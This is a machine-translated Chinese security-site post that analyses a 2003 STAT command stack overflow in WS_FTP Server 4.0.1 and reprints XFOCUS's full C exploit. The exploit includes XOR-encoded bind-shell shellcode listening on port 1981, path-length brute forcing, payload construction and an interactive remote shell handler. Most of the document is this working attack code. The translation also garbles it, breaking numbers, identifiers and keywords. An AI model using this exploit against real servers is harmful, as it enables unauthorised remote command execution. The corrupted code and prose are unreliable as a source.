WS_FTP FTPD "STAT"command overflow parsing-vulnerability warning-the black bar safety net

2009-09-26T00:00:00
ID MYHACK58:62200924802
Type myhack58
Reporter 佚名
Modified 2009-09-26T00:00:00

Description

The following analysis is based on the WS_FTP Server 4.0.1. EVAL (4 7 1 5 6 3 1 4)version, only the analysis of the“STAT”command overflow .

In fact, WS_FTP in processing STAT command, many places are length of the judgment, however, there is a place he has been missed, Well, our chance came.:)

Vulnerability is a function of the reference relationship are as follows:

loc_41200D <- [0] | sub_41B523 | sub_424BC1 | lstrlenA <- [1] | sub_424DD8 | sub_42D75F | lstrcpyA <- [2]

[0]determine whether the"STAT"command . text:0041200D loc_41200D: . text:0041200D push offset aStat_0 . text:0 0 4 1 2 0 1 2 mov ecx, [ebp+8] . text:0 0 4 1 2 0 1 5 push ecx . text:0 0 4 1 2 0 1 6 call __strcmpi . text:0041201B add esp, 8 . text:0041201E test eax, eax . text:0 0 4 1 2 0 2 0 jnz short loc_41202F . text:0 0 4 1 2 0 2 2 mov ecx, [ebp-4] . text:0 0 4 1 2 0 2 5 call sub_41B523 . text:0041202A jmp loc_412775

[1]The length of the judgment, file full path name length cannot exceed 0x200 . text:00424D4A mov eax, [ebp+lpString2] ; our_buff . text:00424D4D push eax ; lpString . text:00424D4E call ds:lstrlenA . text:00424D54 mov ecx, [ebp+var_8] ; get the path len . text:00424D57 add ecx, eax ; get total len . text:00424D59 mov [ebp+var_8], ecx . text:00424D5C mov edx, [ebp+var_8] //total len compare with 0x200 . text:00424D5F cmp edx, [ebp+arg_10] ; . text:00424D62 jle short loc_424D69 //<- need jmp . text:00424D64 mov eax, [ebp+var_4] . text:00424D67 jmp short loc_424DD2 //<- exit!

[2]The file full path name copy to stack buffer,overflow!! . text:0042D7C3 mov eax, [ebp+8] //<- file full path name . text:0042D7C6 push eax ; lpString2 . text:0042D7C7 lea ecx, [ebp-0x118] . text:0042D7CD push ecx ; lpString1 . text:0042D7CE call ds:lstrcpyA ...... . text:0042DD9B retn 8

Looks like a simple stack overflow, but use up very trouble. Because:

1)We don't know the path length, so can not accurately covering the function return address. 2)BUFF the length of the maximum can only have a 0x200(including the path), the overflow point in the 0x118, whether it is the front and rear, Storage of sc space is not large, Put a get cmd shell of sc is not enough. Unless you get a tiny shellcode is.

This is a bit like the IIS WEBDAV overflow exploit, but this is more than the WEBDAV is much simpler.

In fact, we can use the length to determine the limit, accurate guess to the length of the path, and guessing the process won't take ws_ftp engage in pawn, and at guess at the same time accurate the jmp esp address is covered in the function's return address.

How to guess a path of length I will not wordy, you can see<<WebDav vulnerability simple analysis and common exploit design>>this article Article.

Why not cover SEH? Yes, overflow occurs the function sub_42D75F its own is establish an exception handler, and we Can cover to, but after the spill, the sub_42D75F function in the subsequent operation, until it returns it will not trigger an exception. And because buff length is limited, the higher the SEH overwrite will not, so we only overwrite the return address this road can go.

In order to write this exp, also specially modified sc, we send the buff structure is as follows:

+------------------------------------------------+ | | |path|pad1|sc1|jmp 0x2c|nop(0x14)|ret|nop(8)|jmp back(5)|nop(7)|sc2|pad2| | | +--------------------------------------+ |<--------- 0x118+4 bytes------>|<------- 0x200-1-0x118-4 bytes------>|

1) The path is not we send. 2) Function the ret of the time is a retn 8, so there must be a nop(8). The 3) After overflow, the function has two variables will be changed, so there must be a nop(0x14)to skip. 4) nop(7) for what? I dont tell you. ^_^

Thats ALL! If there is the wrong place please treatise, if you have better idea, share with me that? Thank you!

/ x-ws_ftp. c - x86/win32 WS_FTP FTPD "STAT" command remote stack buffer overflow exploit (C) COPYRIGHT XFOCUS Security Team, 2 0 0 3 All Rights Reserved ----------------------------------------------------------------------- Author : eyas <eyas@xfocus.org> :http://www.xfocus.org Maintain : XFOCUS Security Team <security@xfocus.org> Version : 1.0 Test : Windows 2 0 0 0 server EN + WS_FTP Server 4.0.1. EVAL (4 6 0 0 6 0 5 0) Notes : This vul discover by Dvdman@l33tsecurity.com! To exploit this vul, you must have a account can login into ws_ftp. Greets : dvdman and all member of XFOCUS Security Team. Complie : cl x-ws_ftp. c Usage : x-ws_ftp.exe <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port] [type] 0 win2k sp4 user32.dll Add more targetss jmp esp addr by yourself, and then pls email a copy to me, thanks. :) Date : 2003-10-08 Revised : Revise History: ------- start the rip from dvdmans exp----------------- VULN VERSIONS: <= X2 WS_FTP Server 4.0.1 (1 3 2 3 5 6 2 1 6 9) VULN COMMANDS: APPE,STOR,STAT,RMD,RNFR,RNTO,AND MORE -------- rip end------------------------------------ /

include <winsock2. h>

include <windows. h>

include <stdio. h>

include <stdlib. h>

pragma comment(lib,"ws2_32")

define maxlen (0x200-1)//able to trigger the overflow the maximum length of the

define overpoint (0x118+4)//overflow point #define sc_jmp_addr_offset (0xa4+2 2)//sc is stored in the jmp addr offset

define mini_path 0xf//the shortest path

define ERR_EXP_OK 0

define ERR_EXP_CONNECT -1

define ERR_EXP_FAILED 1

define version "1.0"

//modify it by yourself struct { DWORD dwJMP; char *szDescription; }targets[] = { {0x77E14C29, "win2k sp4 user32.dll"}, },v;

//total = 3 6 6 (0x16E) bytes (xor with 0x93) unsigned char sc_bind_1981[]= //decoder 2 2 bytes ->dynamic positioning need to decode the sc address "\xEB\x0F\x5B\x80\x33\x93\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74" "\x05\xE8\xEC\xFF\xFF\xFF" //sc_bind_1981 for 2k/xp/2 0 0 3 by ey4s //speacial version for ws_ftp base on v1. 0 3. 1 0. 0 7 //XOR with 0x93 (3 6 7 0x16F bytes) "\x12\x7F\x93\x91\x93\x93\x7A\xA4\x92\x93\x93\xCC\xF7\x32\xA3\x93" "\x93\x93\x18\xD3\x9F\x18\the XE3\x8F\x3E\x18\xFB\x9B\xF9\x97\xCA\x7B" "\x4A\x93\x93\x93\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC" "\xC7\x6C\xC4\x6F\x18\x7B\xF9\x95\xCA\x7B\x2C\x93\x93\x93\x71\x6A" "\x12\x7F\x03\x92\x93\x93\xC7\xFB\x91\x91\x93\x93\x6C\xC4\x7B\xC3" "\xC3\xC3\xC3\xF9\x92\xF9\x91\x6C\xC4\x63\x18\x4B\x18\x7F\x54\xD6" "\x93\x91\x93\x94\x2E\xA0\x53\x1A\xD6\x97\xF9\x83\xC6\xC0\x6C\xC4" "\x67\xC0\xF9\x92\xC0\x6C\xC4\x6B\xC3\xC3\xC0\x6C\xC4\x6F\xC3\x10" "\x7F\xCB\x18\x67\xA0\x48\xF9\x83\xCA\x1A\x8F\x1D\x71\x68\x78\xBF" "\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3" "\xD3\xD3\xD3\xD3\x03\x03\x03\x03\xD3\xD3\xD3\xD3\xD3\xD3\xD3\xD3" "\xE9\x35\xFF\xFF\xFF\xD3\xD3\xD3\xD3\xD3\xD3\xD3\x1A\xD5\xAB\x1A" "\xD5\xAF\x1A\xD5\xD3\x54\xD5\xBF\x92\x92\x93\x93\x1E\xD5\xD7\xC3" "\xC5\xC0\xC0\xC0\xF9\x92\xC0\xC0\x1E\xD5\xC7\x54\x93\xF0\xFE\xF7" "\x93\xC3\xC0\x6C\xC4\x73\xA0\x53\xDB\xC3\x6C\xE5\xD7\x6C\xC4\x4F" "\x10\x57\xCB\x6C\xC4\x7F\x6C\xC4\x7F\xC3\x6C\xC4\x4B\xC2\x18\xE6" "\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA" "\xD2\x3E\x90\x56\xA0\x48\xA0\x41\x9C\x2D\x83\xA9\x45\xE7\x9B\x52" "\x58\x88\x90\x49\xD3\x78\x7C\xA8\x8C\xE6\x 76\xCD\x18\xCD\xB7\x90" "\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38" "\xCA\x50\x7B\x57\x6D\x6C\x6C\x7A\x28\x50\x3D\x27\xEE\x86\x0B\x58" "\xD1\xE4\x2B\x4F\x4E\x89\xA0\xBE\x87\xC5\x3D\x55\xB8\x2E\xBD\x4D" "\xC4\xE1\x37\xB7\x21\xA1\x93\x9D\xCE\x58\x4D\xE7\xB1\xF0\x5B" //decode end sign "\x45\x59\x34\x53";

unsigned char szSend[3]; unsigned char szSTAT[0x1000]; int iType; int iPort=2 1; char ip=NULL, pUser=NULL, pPass=NULL; char user[1 2 8],pass[1 2 8];

void shell (int sock); void usage(char p); int SendExploit(int iPathLen); void main(int argc, char *argv) { int i, iPathLen=0, ret;

printf( "WS_FTP FTPD remote stack buffer overflow exp v%s\n" "This version can exploit WS_FTP Server 4.0.1. EVAL\n" "Vul discover by Dvdman@l33tsecurity.com\n" "Code by eyas@xfocus.org\n" "http://www.xfocus.net\n" "Create: 2003-10-08\n", version);

if(argc < 9) { usage(argv[0]); return; }

for(i=1;i<argc;i+=2) { if(strlen(argv) != 2) { usage(argv[0]); return; } //Check if missing parameter if(i == argc-1) { usage(argv[0]); return; } switch(argv[1]) { case i: ip=argv[i+1]; break; case t: iType = atoi(argv[i+1]); break; case P: iPort=atoi(argv[i+1]); break; case p: pPass = argv[i+1]; break; case u: pUser=argv[i+1]; break; case l: iPathLen=atoi(argv[i+1]); break; } }

if((! ip) || (! user) || (! pass)) { usage(argv[0]); printf("[-] Invalid parameter.\ n"); return; } if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) ) { usage(argv[0]); printf("[-] Invalid type.\ n"); return; }

if( (iPathLen>0) && (iPathLen<mini_path) ) { printf("[-] Hey, guy, mini path is %d.\ n", mini_path); return; }

_snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser); user[sizeof(user)-1]=\0; _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass); pass[sizeof(pass)-1]=\0; szSend[0] = user;//user szSend[1] = pass;//pass szSend[2] = szSTAT;

if(iPathLen) SendExploit(iPathLen); else { for(i=mini_path;;i++) { ret = SendExploit(i); switch(ret) { case ERR_EXP_FAILED: break; case ERR_EXP_CONNECT: case ERR_EXP_OK: return; break; } } } return; } / ripped from TESO code and modifed by ey4s for win32 / void shell (int sock) { int l; char buf[5 1 2]; struct timeval time; unsigned long ul[2];

time. tv_sec = 1; time. tv_usec = 0;

while (1) { ul[0] = 1; ul[1] = sock;

l = select (0, (fd_set )&ul, NULL, NULL, &time); if(l == 1) { l = recv (sock, buf, sizeof (buf), 0); if (l <= 0) { printf ("[-] Connection closed.\ n"); return; } l = write (1, buf, l); if (l <= 0) { printf ("[-] Connection closed.\ n"); return; } } else { l = read (0, buf, sizeof (buf)); if (l <= 0) { printf("[-] Connection closed.\ n"); return; } l = send(sock, buf, l, 0); if (l <= 0) { printf("[-] Connection closed.\ n"); return; } } } } void usage(char p) { int i; printf( "Usage: %s <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port]\n" "[type]\n", p); for(i=0;i<sizeof(targets)/sizeof(v);i++) { printf("%d\t%s\n", i, targets. szDescription); } } int SendExploit(int iPathLen) { struct sockaddr_in sa, server; WSADATA wsd; SOCKET s,s2; int i,iErr, ret, pad1,pad2; char szRecvBuff[0x1000]; int retcode = ERR_EXP_CONNECT;

printf("\n [+] The -=-= Try type %d, path %d. -=-=\n", iType, iPathLen);

memcpy(&sc_bind_1981[sc_jmp_addr_offset], &targets[iType]. dwJMP, 4);

memset(szSTAT, 0, sizeof(szSTAT)); strcpy(szSTAT, "STAT "); //Calculate the first partially filled with how many bytes //If the path estimate is small, then the buff will be more than 0x200, it will not overflow.:) pad1 = overpoint - sc_jmp_addr_offset - iPathLen; if(pad1<0) { printf( "[-] You cant try any more, the path reach the max for.\ n" "If you want to try longer path, change the sc by yourself.\ n"); exit(1); } for(i=0;i<pad1;i++) strcat(szSTAT, "a"); strcat(szSTAT, sc_bind_1981); //Calculate the back to fill the number of bytes pad2 = maxlen - overpoint; //Subtract the already filled pad2 -= (sizeof(sc_bind_1981)-1-sc_jmp_addr_offset); if(pad2<0) { printf("[-] shellcode too long.\ n"); exit(1); } for(i=0;i<pad2;i++) strcat(szSTAT, "b"); strcat(szSTAT, "\r\n"); if(strlen(szSTAT) >= sizeof(szSTAT)) { printf("[-] stack buffer overflow.\ n"); exit(1); } try { if (WSAStartup(MAKEWORD(1,1), &wsd) != 0) { printf("[-] WSAStartup error:%d\n", WSAGetLastError()); leave; }

s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(s == INVALID_SOCKET) { printf("[-] Create socket failed:%d",GetLastError()); __leave; }

sa. sin_family=AF_INET; sa. sin_port=htons(iPort); sa. sin_addr. S_un. Server_address=inet_addr(ip);

iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa)); if(iErr == SOCKET_ERROR) { printf("[-] connect to target:2 1 error:%d\n", GetLastError()); leave; } printf("[+] connect to %s:%d success.\ n", ip, iPort); Sleep(1 0 0 0); for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++) { memset(szRecvBuff, 0, sizeof(szRecvBuff)); iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0); if(iErr == SOCKET_ERROR) { printf("[-] recv buffer error:%d.\ n", WSAGetLastError()); leave; } printf("[+] Recv: %s", szRecvBuff); iErr = send(s, szSend, strlen(szSend),0); if(iErr == SOCKET_ERROR) { printf("[-] send buffer error:%d.\ n", WSAGetLastError()); leave; } if(i==sizeof(szSend)/sizeof(szSend[0])-1) printf("[+] Send shellcode %d(0x%X) bytes.\ n", iErr, iErr); else printf("[+] Send: %s", szSend); Sleep(1 0 0); } printf("[+] Wait from shell.\ n"); Sleep(2 0 0 0); s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); server. sin_family = AF_INET; server. sin_port = htons(1 9 8 1); server. sin_addr. server_address=inet_addr(ip); ret = connect(s2, (struct sockaddr *)&server, sizeof(server)); if(ret!= 0) { printf("[-] Exploit seem failed.\ n"); retcode = ERR_EXP_FAILED; leave; } printf("[+] Exploit success! Have fun! :)\n"); the shell(s2); retcode = ERR_EXP_OK; } __finally { if(s != INVALID_SOCKET) closesocket(s); if(s2 != INVALID_SOCKET) closesocket(s); WSACleanup(); } return retcode; }